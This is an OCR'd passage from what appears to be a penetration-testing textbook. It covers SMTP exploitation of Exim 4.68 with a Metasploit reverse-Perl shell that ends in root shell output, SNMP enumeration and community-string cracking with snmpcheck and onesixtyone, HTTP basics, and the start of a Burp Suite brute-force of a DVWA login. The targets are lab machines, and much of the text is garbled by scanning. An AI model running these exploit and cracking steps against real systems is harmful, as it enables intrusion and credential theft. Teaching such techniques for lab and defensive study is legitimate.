Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds

As you can see above, nmap found port 25 open and running exim 4.68.
To determine any potential vulnerabilities on that SMTP server, we might use nmap scripts. To
run all the nmap scripts for SMTP, we can use the --script=smtp-* option where the wildcard

(*) means to run all the scripts in the smtp category.

nmap --script=smtp-* 192.168.56.103 -p 25
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:~% nmap --script=smtp-* 192,168.56.103 -p 25
Starting Nmap 7.80@ ( https://nmap.org ) at 2020-12-29 11:55 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disa
bled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.00037s latency).

PORT STATE SERVICE

25/tcp open smtp

| smtp-commands: localhost Hello nmap.scanme.org [192.168.56.101], SIZE 524
28800, EXPN, PIPELINING, HELP,

|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP EX
PN VRFY

| smtp-enum-users:

admin
administrator
webadmin
sysadmin
netadmin
guest

user

web

test

|
|
|
|
|
|
|
|
|_5mtp—open—relay: SMTP RSET: failed to receive data: failed to receive dat
F
|
|
|
|
|
|

smtp-vuln-cve2010-4344:
Exim version: 4.68
Exim heap overflow vulnerability (CVE-2010-4344):
Exim (CVE-2010-4344): LIKELY VULNERABLE
Exim privileges escalation vulnerability (CVE-2010-4345):
Exim (CVE-2010-4345): LIKELY VULNERABLE

As you can see above, the smtp nmap scripts were able to enumerate multiple users (these users
can then be targeted with social engineering attacks) and find that the server is vulnerable to the
cve-2010-4344 and CVE-2010-4345 exploits.

143/tcp open imap Cyrus imapd 2.3.2

| _auth-owners: cyrus

| _imap-capabilities: BINARY NO Completed OK URLAUTHA@@01 ATOMIC RIGHTS=kxte
SASL-IR MULTIAPPEND STARTTLS THREAD=ORDEREDSUBJECT RENAME QUOTA AUTH=CRAM-

MD5 AUTH=DIGEST-MD5 CATENATE LITERAL+ IMAP4 NAMESPACE IDLE IMAP4revl SORT I

D AUTH=NTLM UNSELECT ANNOTATEMORE CHILDREN MAILBOX-REFERRALS ACL THREAD=REF
ERENCES UIDPLUS

| imap-ntlm-info:

|_ Target_Name: MAILSERVERO1

Next, let's see whether we can find these exploits in Metasploit. Fire up Metasploit by entering;

kali > msfconsole
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Now, let's search for Exam exploits by using the search function.

msf5S > search type: exploits exim

msf5 > search type:exploit exim

Matching Modules

Name Disclosure Date
Check Description

exploit/linux/local/eXims_deliver_message_priv_esc 2019-06-05
lent Yes EXim 4.87 - 4.91 Local Privilege Escalation
exploit/linux/smtp/exims_dovecot_exec 2013-05-03
lent No EXim and Dovecot Insecure Configuration Command Injection
exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27
Yes Exim GHOST (glibc gethostbyname) Buffer Overflow
exploit/unix/local/exim_perl_startup 2016-03-10
' Yes Exim "perl_startup” Privilege Escalation
exploit/unix/smtp/EXim4_string_format 2010-12-07
1 No Exim4 string_format Function Heap Buffer Overflow
xploit/unix/webapp/wp_phpmailer_host_header 2017-05-03
Yes WordPress PHPMailer Host Header Command Injection

Interact with a module by name or index, for example
- iy = - - - .._!' : . -

As you can see in the screenshot above, Metasploit has multiple Exim exploits. Let's try the
exploit/unix/smtp/exim4_string_format exploit.

First, let's load the exploit using the use command.

msf5> use exploit/unix/smtp/exim4_string format

use exploit/unix/smtp/exim4_string_ format
xploit( ) > set RHOSTS 192.168.56.103
= 192.168.56.183
msf5 exploit( )2 PAYLOAD cmd/unix/reverse_
perl

PAYLOAD = cmd/unix/reverse_perl

msf5 exploit( > set LHOST 192.168.56.101
LHOST = 192.168.56.101

msf5 exploit( ) LPORT 443

LPORT = 443
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Before we progress further, let's learn more about this exploit by entering “info."

kali > info

As you can see above, this module exploits a heap buffer overflow. In addition, if it detects a
Perl interpreter, it will automatically escalate privileges from a regular user to root.

Then, let's set the RHOSTS parameter with the target system's IP address. With the RHOSTS
now set, we next set the PAYLOAD. In this case, let's use cmd/unix/reverse_perl. This payload
will open a command shell on the target machine using Perl (most Unix-like systems have Perl
installed by default) that will call back to our attack system if successful.

Lastly, we need only to set the LHOST and the LPORT. Let's set the LPORT 443 so that it uses
a commonly open port for HTTPS traffic. Often, by using this port, this exfiltration will go
unnoticed.

The only step left is to run “exploit”

msfS> exploit
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Command ) essio ened (19 6.101:443 — 192

As you can see above, the exploit worked and gave us a command shell in session 1!

Unlike when we exploit a Windows system, when we grab a command shell on Linux systems
we do NOT get a command prompt but rather an empty line. To test whether we are actually on
the Linux SMTP server, we can enter Linux commands and check for the response. In this case,
let's run a few common Linux commands such as id, whoami, pwd, uname -a.

157 |Page



id

uid=0(root) gid=0(root) groups=0(root)
whoamil

root

pwd

/var/spool/exim4

uname -a

Linux mailserver@l 3.16.0-4-586 #1 Debian 3.16.43-2 (2017-04-30) 1686 GNU/L
1nux

As you can see above, the system responding by informing us that user is uid=0 or root, the
present working directory (pwd) is /var/spool/exim4, and the uname is Linux mailserver(O1.

Summary
Email service or Simple Mail Transport Protocol (SMTP) is one of the most critical services in
our digital age. It is also one of the most highly targeted services as it contains confidential and

key information. It is critical that this service be properly configured to prevent unauthorized
access to this crucial data source.

Exercises

1. Build an SMTP server for your domain
2. Conduct reconnaissance on your new SMTP server
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Chapter 11

Simple Network Management Protocol
(SNMP)

S The Simple Network Management Protocol or SNMP is
among the least understood protocols, yet so vitally
important to the successful operation of your network.
If an attacker can breach the SNMP, they may be able
to unmask your encrypted VPN communication (see
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NSA's ExtraBacon exploit here) as well as see and possibly control every device connected to

your network.

As you know, the Simple Network Management Protocol uses UDP ports 161 and 162 to
manage network devices. Network devices use this protocol to communicate with each other and
can be used by administrators to manage the devices. As hackers, if we can access the SNMP
protocol, we can harvest a vast resource of information on the target's network and even disable
and change the settings on these devices. Imagine the havoc one could wreak by changing the
settings on routers and switches!

Background on SNMP

The Simple Network Management Protocol (SNMP) is part of the Internet Protocol Suite that is
designed to manage computers and network devices. Cisco describes it as "an application layer
protocol that facilitates the exchange of information between network devices." Succinct and
correct, but it misses the management function that SNMP also provides.

SNMP is a stateless, datagram-oriented protocol. It involves one or more administrative
computers called managers. These managers monitor and manage a group of computers. Each of
the managed computers has an agent installed that communicates with the manager. Please see
the diagram below for a schematic of how SNMP operates.

a,

GET / SET Request

Master Agent

GET / SET Reg

GET / SET Res

:

The agent on the managed computers provides management data to the managing computer. The
manager can undertake management tasks, including modifying and applying new
configurations.

The management data exposed by the agents on each of the managed machines are stored in a
hierarchical database called the Management Information Base or MIB. It is this information
within the MIB that we will be seeking here. This MIB contains a vast array of information on
every device on the network, including users, software installed, operating systems, open ports,
etc. All of this information can be invaluable in developing an exploitation strategy on the target.
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The SNMP protocol communicates on UDP port 161. The communication takes place with
protocol data units or PDU's. These PDU's are of seven (7) types.

o GetRequest

e SetRequest

¢ GetNextRequest
¢ GetBulkRequest
o Response

e Trap

o InformRequest

SNMP Versions

SNMP has three (3) versions. Version 1, or SNMPv1, has very poor security. The authentication
of clients is in cleartext and, by default, uses a "community string" that is set to "public." This
community string operates like a password, and it is valid for each and every node on the
network. The authentication of the manager is also a community string set to "private" by
default. With these community strings, the attacker can gather all the information from the MIB
(with the public community string) and even set the configuration on the devices (with the
private community string). Although it is widely known and understood that SNMPv1 is
insecure, it remains in wide use (I recently did a security assessment at a major NYC bank, and
they were still using SNMPv1). Even if the network administrator changes the community string
from the defaults, because communication is in cleartext, an attacker can sniff the authentication
strings off the wire.

SNMPv2 improved upon SNMPv1 in terms of performance and security, but because it was not
backwardly compatible with SNMPv1, it was not widely adopted. SNMPv3 is significantly more
secure than either SNMPv1 or v2. SNMPv3 adds encryption, message integrity, and
authentication but is still not used on all networks.

Wireshark Analysis of SNMPv1

Below we can see a Wireshark capture of SNMPv1 communication over a LAN.
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Note the Get-Request, Get-Response, and Get-Next-Request in the upper windows and the
community string in the lower window.

Abusing SNMP for Information Gathering

Now that we have a bit of background on the SNMP protocol let's use or abuse it to gather
information on our target. Open Kali and go to Applications --> Kali Linux -->Information
Gathering --> SNMP Analysis -->snmpcheck, as in the screenshot below.
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When you do so, you will be greeted by the snmpcheck help screen like below.
Applications Places ;z Sat Mar 7, 9:43 AM

root@kali: ~

File Edit View Search Terminal Help

snmpcheck v1.8 - SNMP enumerator
Copyright (c) 2005-2011 by Matteo Cantoni (www.mothink.org)

Usage snmpcheck -t <IP address=
: target host;

: SNMP port; default port is 161;

: SNMP community; default is public;

: SNMP wversion (1,2); default is 1;
~ o request retries; default is Q;

detec (se » action by enumeration);

: disable 'TCP connections' enumeration!

: force timeout in seconds; default is 20. Max is 60;
: enable debug;

. show help menu;

| [root@kali: -]

Snmpcheck is a Perl script that queries the SNMP MIB for information on the target IP. Its
syntax is fairly simple;

kali > snmpcheck -t <target P>

Of course, some options are available such as the community string (it uses "public" by default)
and the SNMP version (it uses one by default, or 2 is the other option. Note it will not work on
the more secure SNMP v3) and a few others. We will be using it here against a 2003 Server on
our network to see what information SNMP can provide us about the target.

As you can see in the screenshot below, we ran snmpcheck, and it began to gather information
from the MIB about the target and display it on our screen. Initially, it gives information about
the hardware and then the operating system and uptime (uptime can be very useful information
to determine whether a system has been patched).
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File Edit View Search Terminal Help

AT/AT COMPAT

Motd
Domain (NT)

ices information

File Edit View Search Terminal—Help

Status

Printer Running TP Output Gateway
Parallel Port Unknown LPT1:
Serial Port Unknown C
arial Unknown

Running Inte
Unknown MS TCP Loopback interf
Unknown VYMware Accelerated AMD
Unknown A:\
Unknown D:\
Running Fixed Disk
Running IBM enhanced (101- or 102-key) keyboard,

w

~l h U I

co

Running 3-Buttons (with wheel)
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Next, storage information.

File Edit View Search Terminal Help

Disk
ystem type
Device units
Memory size

-

Compact Disc

Then, user accounts (this can be useful later when trying to crack user passwords. It eliminates
the need to guess user account names).

File Edit View Search Terminal Help

[*] User accounts
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Finally, the software installed on the system. This can be particularly useful when we begin to
develop an exploitation strategy, as exploits are specific to applications and their version.

File Edit View Search Terminal Help

7

1
18.
3.
4,
g
6.
8.

192.168.1.102 in 4.25 seconds
ived in thread 1, but no signal handler set. at /usr/bin/snmpche

Cracking SNMP community strings

As you saw in the previous exercise, SNMP can provide us with a significant amount of
information about our target if we can access it. In the previous section, we assumed that the
admin had left the community string set to "public." What if the admin was a bit more cautious
and security-minded and had changed the community string? How can we find the community
string?

There is an excellent tool built into Kali named onesixtyone (presumably named after the default
port that SNMP operates on). In essence, it is a SNMP community string cracker. Like most
"password" crackers, it relies upon a dictionary or wordlist to try against the service until it finds
a match.

Let's open onesixtyone by going to Applications --> Kali Linux --> Information Gathering --
>SNMP Analysis -->onesixtyone. It should open a help screen like below.

166 |Page



mmunityfile= f \
out file= file with target
output log
debug mode, use twice for more information

n walt n milliseconds (1/1006 of a second) between sending pa
ckets (default 10)

guiet mode, not print log to stdout, use with -1
192 .168.4.1 public
i -0 my.log -w 1060

The syntax of onesixtyone is pretty simple and straightforward.
kali > onesixtyone [options] <host IP> <community string private or public>

Like a dictionary-based password cracker, the dictionary you use with onesixtyone is critical. In
the case of onesixtyone, it has a built-in dictionary. It's small but contains many of the commonly
used strings with SNMP. If you are creating your own dictionary for SNMP cracking, this is a
good starting point, but you may want to expand it with variations of the domain name or
company name as network administrators don't usually put much effort into creating complex
strings for SNMP. For instance, if the company is Microsoft, you might try strings that a lazy
admin might use, such as microsoft-public, microsoft-private, microsoft-snmp, microsoft-
network, etc.

Let's take a look at the dictionary file by typing;

kali > cat /usr/share/doc/onesixtone/dict.txt
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File Edit View Search Terminal Help

:~# cat /usr/share/doc/onesixtyone/dict.txt

1234
2read
4changes
CISCO
IBM
OrigEquipMfr
SNMP

SUN
access
admin
agent
all
cisco
community
default
enable
field
guest
hello
ibm
manager
mngt
monitor
netman
network
none

As you can see, it includes a short list of widely used SMNP community strings.

In this exercise, we will use this short and simple dictionary to see whether we can find that
community string on our network and then use it in snmpcheck to gather all the info on the
target.

In our case, we will be using it on the same system as before, so our command will be;

kali > onesixtyone 192.168.1.102 -c /usr/share/doc/onesixtyone/dict.txt
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File Edit View Search Terminal Help

[publ

;W

As you can see in the screenshot above, it was able to find both the private community string
(still set to the default "private") and the public community string (still set to the default as
"public"). These community strings can then be used with snmpcheck to grab information from
the MIB about the target system.

NSA Exploits SNMP to Unmask VPN Communications

We know that the NSA has exploited SNMP to unmask VPN communications from documents
released by Edward Snowden. For a tutorial on this NSA ExtraBacon exploit, click here.
Although this vulnerability has been patched by Cisco, it is likely that the NSA still has another
exploit of SNMP to view encrypted communication.

Summary
SNMP can be a rich source of information on the target network if we can access it. snmpcheck

will pull the information from the MIB, and onesixtyone helps us crack the SNMP "passwords."
Both can be critical in exploiting SNMP for reconnaissance.
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Chapter 12
HTTP

Before embarking upon any study of web application hacking, you
need to be familiar with the technologies used by web apps. To
hack web applications, we need at least a cursory understanding of
the multitude of technologies being implemented into modern web
applications. To that end, I will try to provide you with the basics
of the key web technologies that may be exploited in taking control
of'a web application.
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HTTP Protocol

The HyperText Transfer Protocol, or HTTP, is the granddaddy of web technologies. It is the core
communication protocol of the web, and all web applications use it. It's a simple protocol
originally designed to retrieve static web pages. Over the years, it has been updated and extended

to offer support to complex applications that are common today.

HTTP uses a message-based model where the client sends a request, and the server responds
with a response. It is connection-less but uses TCP as its transport mechanism.

HTTP Requests

All HTTP messages contain the same basic elements;
1. One or more headers

2. Then a blank line

3. An optional Message Body

|Request command to get “www.spsu.edu/itdegrees”

GET fitdegrees/ HTTP:‘LI/
Host: www.spsu,edu
Connection: keep-alive

User-Agent: Mozilla/5.8 (Windows NT 6.1; WOWS4) AppleWebKit/537.4 (KHTML, like Gecko)
Chrome/22.8.1229.94 Safari/537.4

HTTP rv\CCEpt: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8
request Referer: http://fspsu.edufit/
< ﬁccept~Encodinz: gzip,deflate,sdch
headers r&ccept-Language: en-Us,en;q=0.8
lAccept-Charset: I50-8859-1,utf-8;q=8.7,%;0=0.3

Cockie: __lc.visitor_id.1429232=51344265841.a17c48bcd2; _ utma=76848983.13122@7238.131
9314128.1350055643.1350265445,180; __utmb=76848983.4.10.1350265445; __utmc=76848983; _
_utmz=7E6848983.1349716511.176.52. . utmecsr=google |utmcen=({organic) |utmemd=ocrganic|utmectr=
(not¥2eprovided)

-~

The first line of the HTTP requests has three elements, separated by spaces

1. A verb (action word) indicating the HTTP method (see methods below). Among these, the
most common is GET. The GET method retrieves a resource from the web server

2. The requested URL
3. The HTTP version used

HTTP Responses

The typical HTTP response consists of three items;
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1. The HTTP version
2. The numeric status code (see status codes below).

3. The text describing the status response.

Status code

Version of the protocol Status message
ngp Stgus messag

HTTP/1.1|[200 |/0K |

Date: Sat, @9 Oct 2010 14:28:02 GMT

Server: Apache

Last-Modified: Tue, @1 Dec 2009 20:18:22 GMT
ETag: "51142bcl-7449-479b@75b2891b"
Accept-Ranges: bytes

Content-Length: 29769

Content-Type: text/html

_____ e

Headers

HTTP Methods

When we attack web applications, we are most commonly making a request to the web server.
This means that our methods will likely be either a POST or GET. There are subtle differences
between these two requests.

The GET method is built to retrieve resources.

The POST method is built to perform actions.

Other Methods

HEAD functions similarly to a GET request, but no message body is returned

TRACE is used for diagnostic purposes

OPTIONS asks the server to report HTTP methods are available
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PUT attempts to upload a resource to the server, which is contained in the body

URL's

The uniform resource locator (URL) is a unique ID for every web resource for which a resource
can be retrieved. This is the all-familiar URL that we use every day to access information on the
web.

The basic syntax of the URL is:

protocol://hostname[:port]/ [/path/] file [?param=value]

The port number is optional and only necessary if the port is different from the default port used
by the protocol specified in the first field (http=80, https=443, ftp=21, etc.).

HTTP Headers

There are numerous types of HEADERS in HTTP. Some can be used for both requests and
responses, and others are specific to the message types.

These are some of the common header types;

General Headers

* Connection - tells the other end whether the connection should closed after HTTP transmission
* Content-Encoding - specifies the type of encoding

* Content-Length - specifies the content length

* Content-Type - specifies the content type

* Transfer-Encoding - specifies the encoding on the message body

Request Headers

* Accept - specifies to the server what type of content it will accept

* Accept-Encoding - specifies to the server what type of message encoding it will accept
* Authorization - submits credentials

* Cookie - submits cookies to the server

* Host - specifies the host name

173 |Page



* [f-Modified-Since - specifies WHEN the browser last received the resource. If not modified,
the server instructs the client to use the cached copy

* If-None-Match - specifies entity tag

* Origin - specifies the domain where the request originated

* Referrer - specifies the URL of the requestor

* User-Agent - specifies the browser that generated the request
Response Headers

* Access-Control-Allow-Origin - specifies whether the resource can be retrieved via cross-
domain

* Cache-Control - passes caching directive to the browse

* Etag - specifies an entity tag (notifies the server of the version in the cache)

* Expires - specifies how long the contents of the message body are valid

* Location - used in redirect responses (3xx)

* Pragma - passes caching directives to the browser

* Server - specifies the web server software

* Set-Cookie - issues cookies

* WWW-Authenticate - provides details of the type of authentication supported

* X-Frame-Options - whether and how the response may be loaded within the browser frame
Cookies

Cookies are a critical part of HTTP. Cookies enable the server to send items of data to the client,
and the client stores this data and resubmits it to the server the next time a request is made to the
server.

The server issues a cookie to the client using the SET-COOKIE response header.

SetCookie: Tracking=wdr66gyU34pli89

When the user makes a subsequent request to the server, the cookie is added to the header.
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1. You get on the Web. ... 2. ...and request information 3. When the Web
from a Web site. site server replies,
it sends a cookie. ..

= [
< E, | a s f .2 <
5. When you get online 4....which your computer
6....yourcomputer g return to the Web site. . . puts on your hard drive.
sends the
cookie back. ..
—p >
7....where the Web site server identifies you and records data

that can be shared with other online sellers,

Cookies are used to identify the user of the server and other key information about the server.
These cookies are usually a name/value pair and do not contain a space.

Status Codes

Every HTTP response must contain a status code indicating the result of the request. There are
five groups of status codes based on the first digit of the code

* 1xx - Informational

* 2xX - Success

* 3xx - Redirect

* 4xx - Error

* 5xx - The server encountered an error

The status codes you are most likely to encounter are;
* 100 - Continue

* 200 - OK

* 201 - Created

* 301 - Moved Permanently

* 302 - Found
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* 304 - Not Modified

* 400 - Bad Request

* 401 - Unauthorized

* 403 - Forbidden

* 404 - Not Found

* 405 - Method Not Allowed

* 413 - Request Entity Too Large
* 414 - Request URI Too Long

* 500 - Internal Server Error

* 503 - Service Unavailable

To see a complete list of all the response codes, see the list below.
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HTTPS

Informational Status Codes

Client Request Incomplete

Server Errors

100 — Continue [The server is ready to recetve
the rest of the request |

101 — Switching Protocols [Client specifies
that the server should use a certain protocol and the

server will give this rerponse when at is ready to
sunitch ]

Client Request Successful
200 - OK [Success! This iz what you want |
201 = Created [Successfully created the URD
specified by the client |

202 = Acceptod. [Aecepted for processing but
the server has not Bnizhed processing it ]

203 — Non-Authoritative Information

[Informationan the response header did not sriginate
from thiz server. Copred from another cerver.]

204 — no Content [Eequest is complete without
any infarmation being sent batk in the response.]

-
205 — Reset Content [Clent should recet the
current document. Ie A form with existing values |

206 — Partial Content [Server has fulfilled the
partin]l GET request for the rezource. Inresponse to a
Range request from the client. Or if someone hits stop.]

Request Redirected

300 — Multiple Choices [Requested resource
comespends to a set of documents. Server sends
information about each one and a URL to request them
from so that the client can choose ]

301 - Moved Permanently [Eequested
resource does not exist on the server. A Location

ader is set to the client to redirect 1t 1o the new URL
Client continues touse the new URL an future
requests. |

302 — Moved Temporarily [Requested
resource has temporanly moved A Location header s
sent to the client to redirect it to the new URL. Client
continues 1 uge the old URL in future requests.]

303 = see Other [The requested resource can be
found in a different location indicated by the Location
header, and the clieat should use the GET method to
netrieve it]

304 — Mot Modified [Used to respond 1o the TE
Medified-Since request header. Indicates that the

requested document has not been modified since the the
specified date, and the client should use acached copy. |

305 — Use Proxy [The clisat should use a prony,
specified by the Location header, to retrieve the URL ]

307 - Temporary Redirect [The requested
rezouree has been temporanly redirected o o different
location. 4 Location header is sent to redirect the client
to the new WEL. The client continues to use the ofd
UERL in future requests. |

400 — Bad Request [The server detected a syntax

error in the client’s request.

401 Tt Unaut.'hurizcdl’!'he TEQUEST rEqULes Uer
authentication The server sends the WWW-Auwthenticate
header te indicate the authermtication type and realm for
the requested resonuce |

402 = Payment Required [ reserved for future |

403 — Forbidden [Access to the requested
resougee is forbedden The request should not be repeated
by the client |

404 — Not Found [The requested docurnent doss
niot exast on the server |

-
405 — Method Not Allowed [ The request
method used by the client iz unacceptable The server
sends the Allow header stating what methods are
acceptable to atcess the requested resource |

406 — Mot Acceptable [The requested resoee is
not available in o format that the chent can accept, based
<f the accept heads £ il
request was nok 2 can send
Comtent-Language, Content-Encoding and Contem-Type
headers to mdicate which formats are avaslable. ]

407 — Proxy Authentication Required
[Unauthorized access request to a proxy server. The client
must first athenticate itself with the Xy, Lk seiver
sends the Proxy-Authenticate header indicating the
athentication scheme and realm for the requested
resourece. |

408 — Request Time-Out [The client has failed
to-complets 1t request within the raquest timeout period
used by the server. However, the client can re-request.]

409 — confice [The client request conflicts with
another request  The server can add information about the
type of conflict along with the status code |

410 — Gone [The requested resotsee 13 permanently
gone from the server ]

411 — Length Required [The clieat must supply
aContent-Length header in a1z request.]

412 — Precondition Failed [#hen a client
sends aregquest withwone or more If, . theaders, the
uresthiz code to tndicare that sns & mare of the
conditions specified in these headers 12 FALSE ]

413 - Request Entity Too Large [The server
refisges 1o process the request becanse it: medsage body iz
too large. Th eer can clogse connection to stop the
client from continuing the request.|

414 - Request-URI Too Long[The server
refuses to process the request, because the specified TRI
koo long |

415- Unsupported Media Type [The server
gefuses to process the request, because it does not suppedt
the mesdage body's fozmat.]

417 = Expectation Failed [The server failed to

meet the requisements of the Expect request-header |

500 — Internal Server Error [A server
configuration setting or an external program has
cauzed an errer.]

501 = ot Implemented [The seever
doez not support the functionality requied to
Fulfill the request ]

502 — Bad Gateway [The zerver
encountered an inwalid response from an upstream
server or proxy.]

503 — Service Unavailable [The service

15 temporanily unavailable, The servercansend a
Retry-Afler header to indicate when the service
may become available again ]

504 - Gateway Time-Out [The gateway
or proxy has timed out.]

505 — HTTP Version Not Supported
[The version of HTTP uscd by the clicat 15 not
supported |

Unused status codes
306- switch Proxy
416- Requested range not satisfiable

500- Redirection failed

The HTTP protocol is transmitted in plain TCP, which means it is unencrypted and susceptible to
MitM attacks and other such attacks by an attacker positioned between the client and server.
HTTPS is essentially the same as HTTP but instead is tunneled using Secure Sockets Layer
(SSL). In this way, the confidentiality and integrity of the data are protected.

HTTP Proxies
An HTTP proxy is a server between the client's browser and the web server. When the client’s

browser is configured to use the HTTP proxy, all requests to the Internet must go first to the
proxy. The proxy then forwards the request and receives the response before forwarding it to the
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client. In this way, the HTTP proxy can provide access control, caching, authentication, and
content filtering.
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HTTP Authentication

The HTTP protocol has its own mechanisms for authenticating users. These include;
Basic: sends user credentials as Base64-encoded string in the request header
NTLM: challenge-response mechanism

Digest: challenge-response and uses MD5 checksums of a nonce with user’s credentials

Hacking Web App Authentication with BurpSuite

Now that you have a basic understanding of web technologies, we can explore the myriad of
ways to hack web applications. As you know, web applications are those apps that run the
websites of everything from your next door neighbor's website, to the all-powerful financial
institutions that run the world. Each of these applications is vulnerable to attack, but not all in the
same way.

B2 BURPSUITE
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Burp Suite, by Port Swigger, is a versatile and powerful tool for web app pentesting. Besides
web form authentication testing, it can also be used to test for session ID randomization,
injection attacks, fuzzing, and numerous other attacks. Here we will be focusing on web app
authentication, but you can find other uses of BurpSuite in Web App Hacking series on Hackers-
Arise.

Here we will be using the Damn Vulnerable Web Application (DVWA) on our Metasploitable
OS or the OWASP Broken Web App VM (https://sourceforge.net/projects/owaspbwa/).

Please note that password attacks will not work against all web forms. Often, the web application
will lock you out after a number of failed attempts. Also, this attack is dependent upon having a
good password list, as the application goes through every possible password looking for a match
(with the exception of brute force password cracking, which is very time- and resource-
consuming). With that caveat having been said, password-cracking web forms is a good place to
start in hacking web authentication.

We will be using the free version of Burp Suite that is built into Kali. If you are not using Kali,
you can download it here. This free version has some limited capabilities that work well for
learning or in a lab, but for real-world hacking, you will probably want to buy the Pro version
($399). In addition, make certain that your system is equipped with the JDK 11 or later.
BurpSuite is a Java application and requires this version of the JDK to work properly.

Fire Up Kali and DVWA

Let's start by firing up Kali and starting DVWA on another system or VM. Next, start Burp
Suite. You will first be greeted by a screen like the one below. You can only create a
"Temporary Project" in the Community Edition. Click Next.

Burp Suite Community Editienv2020.4 - 0 X
® Welcome to Burp Suite Community Edition. Use the options below to create or open a project, IE BUR PSUI | E

COMMUNITY EDITION

(& Temporary project

New project on disk

Open existing project Name File

Cancel | | Next
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Next, select "Use Burp Defaults" and Click "Start Burp."

We then need to click on the Proxy tab...

Burp Project dtruder Repester Window Help

Dashboard | Target [ Prowy | intruder | Beoester | Sequweecer | Decoder [ comnparer | Estender | project covcns | user aptions |

Tasks

§ Flter  Runsing | Pauged

Finighed

@R @0

Upgeade to Durp

lssue activity [Pro version enly]

108 to sedematically fod vulnerabities!

W PEer  tugh | Mediom | Law ey Corain | Perm | Tonlathw S
1 Lhve passie crawl from Prawy (all trafic) WEg
&dd inks. Add gem dself, same domain and URLS in suit.. 0 items added to site map BsAbE L Eath
| Susgicius Input transformatan (refiected]  Rttpoinsecure-bank . Jurl-sherten
Cagbaring O responans precessed A SMTP header pedtion Hp inpeduresebe . fienlactus
ar A d | Senalzed object in HTTF message g ifmacuresbank .. Jjblog
MAponINE il ! Crass-ste sorptng (D0M-based) Ftips finsacure-ban . J
I MMy exbernal ently injectisn Btig e ftndeigsableo Jaredudtliteck
D Estermal aendse imteractisn (HTTP) Pittpa i eureawel | fprodudt
A Web cache polsenieg Fittpe fsecure-bank . Joenlacius
) Servergide templats injaatisn Bl fingedurechank . Juser-emepage
b SO injection Ptpscppadmerable .. |
B 0F command inpection Fittpsiinsecure-web... [feedbeck/submit
B L= v |
Event o ”
q @ o [ Ferrre i
'nmn 7| Tyme Saurce Mezzage ]
ALALIH0 24 A 1910 Infe Frany Froxy sensce started on 127.0.0.1: #0420
IELS T
Marmary 4.7H8 B 1 iz 33l !

...and enable the Intercept. This is the way that BurpSuite is capable of intercepting traffic to
and from a server.

Buip Project truder Repester Windew Help

[[oashboard [ Target | eraxy | intruder | Repester | sequencer | pecoder [ comparer | estender | Project options [ user oprions |

[mmn [ Hrme histery | websockets biateny | opaiena |

Fam  Mex
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Open a Web Browser

Now open your browser and set it up to use your proxy. In Mozilla's Firefox, go to Preferences -
>Network Connections. There you will find the window like that below. Set it up to proxy your
browser requests on 127.0.0.1 on port 8080.

Connection Settings X

Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network

Use system proxy settings

o ?Manual proxy configuration i
HTTP Proxy 127.0.0.1 Port| 8080

Use this proxy server for all protocols

SSL Proxy Port 0
ETP Proxy Port 0
SOCKS Host Port 0

soCkSva Q) SOCKSy5

Automatic proxy configuration URL

No proxy for

Example: .mozilla.org, .net.nz, 192.168.1.0/24
Help Cancel OK

Make certain to click OK in order for the browser to save your new settings.

Use your browser to navigate to the DVWA.

Once your target system is up and running, let's open your browser and navigate to the IP
address of the Metasploitable system or the OWASP Broken Web Apps VM. On either system,
navigate to the Damn Vulnerable Web App (DVWA).

When you get there, select DVWA, which will open a login screen like that below.
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DVWA )

Username

oTW

Password

Login

Here I have entered my username, OTW, and my password, HackersArise. You do not need to
enter the correct credentials.

Intercept the Login Request

Before sending the login credentials, make certain that the Burp Suite Proxy intercept is turned
on and the proxy setting are set in your browser. Then, when you send the request, the proxy will
catch the request, as seen in the screenshot below.

Hurp Project Infruder Repeater Window Help
Dashbeard ] Target I Py [Invuder ] Fepeater ] Sequencer ] Degeder ] Comparer I Extender ]Pm]ec(onhem | Mser options ]

InkErceps i HTTP histary iw:hsuckm history ]Upuuns ]

£ Request ta hp 192 168,42 15:80

| Porward . Drop | | Intercept Is on Acton

Raw | Params | Headers | Hex

1 POST fdvwaflogin.php MTTPFL.1

2 Hesl: 152.168.42.16

3 User-aAgent: Mozilla /5.0 (¥11; Linux xB5_64; rv:6B.0) Gecko/Z0L00101 Firefoun/58.0
4 Azcept: texti/htnl.opplicaticnszhtal=znl. application/zal iged 9.0/ v qul. B

S Accept-Language: en-US.en:gsd.5

G Ascept-Encoding: grip. deflate

7 Referer: http: /192 168. 4715 dvwaLogin. pha

i Contemt-Type: application/x-wew-fors-urlencoded

9 Centent-Length: 45

L0 Cennection: close

11 Coskie: securitymlow: PHRSESSID=SvowequSredvtedoqleZazg@il; acopendividseswingset,jetto, phpbb2, redstne; nogroupswithpersist=nsda
12 Upgrade-Insecure-Requests: 1

13

14 usernamesOTwipasswordshackerariseblopinslogin

Notice that my username and password are in the last line of the login request.
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Send the Request to Burp Suite Intruder

Next, we need to send this request to the Burp Suite Intruder. Right-click on this screen and

select "Send to Intruder," as seen below.

£ Request to http: /7192 168.42.15:80

| Forward | l Drop I Intercept is on Action

1 FOST jdwwa/login.php HTTR/L.1

2 Host: 182.168.42.15

3 User-Agent: Mozilla/5.0 (¥1l:; Linux xB6 &4 rvi6B.0) Gecko/20L000100 Firefou/68.0
4 hecept: text/shtwl,applicationszhtml+xel . application/xsl;q=0,9,%/%;q=0.8

5 hccept-Language: en-US, eén:g=0.5

6 Accept-Encoding: gzip. deflate

SCan
7 Referer: http://192,168.42.15/dvwaslegin. php
o Content-Type: application/s-wew-form-urlencoded =nd to Hepeater
9 Cantent-Length: 45 Sand bo Sequercar
10 Connection: close
11 Cookie: security=low; PHRSESSID=SvovcgvSredvicdeglcZadosll; acopendivids=swingset, jotte,p|  3end to Comparer
12 Upgrade-Insecure-Requests: 1 Send to Decoder
13 Request in browsar
14 usernames(TWipasswardshackerariseiloginslogin

Engagernent tasls [Pro version anky]
Change reguest methed
Change bedy encading
Copy URL

Copy as curl command
Copy to file

Paste from file

Save item

Den't intercept requests
Do intercept

Corvert selection
URL-encode as you type
Cut

Ctrl+l
Cirl+R

v

This will open the BurpSuite Intruder. On the very first screen, Intruder will display the IP
address of the target. It has gathered this information from the intercepted request. If it is wrong,
change it here. Also, note that it assumes you are using port 80. Once again, if you're attempting
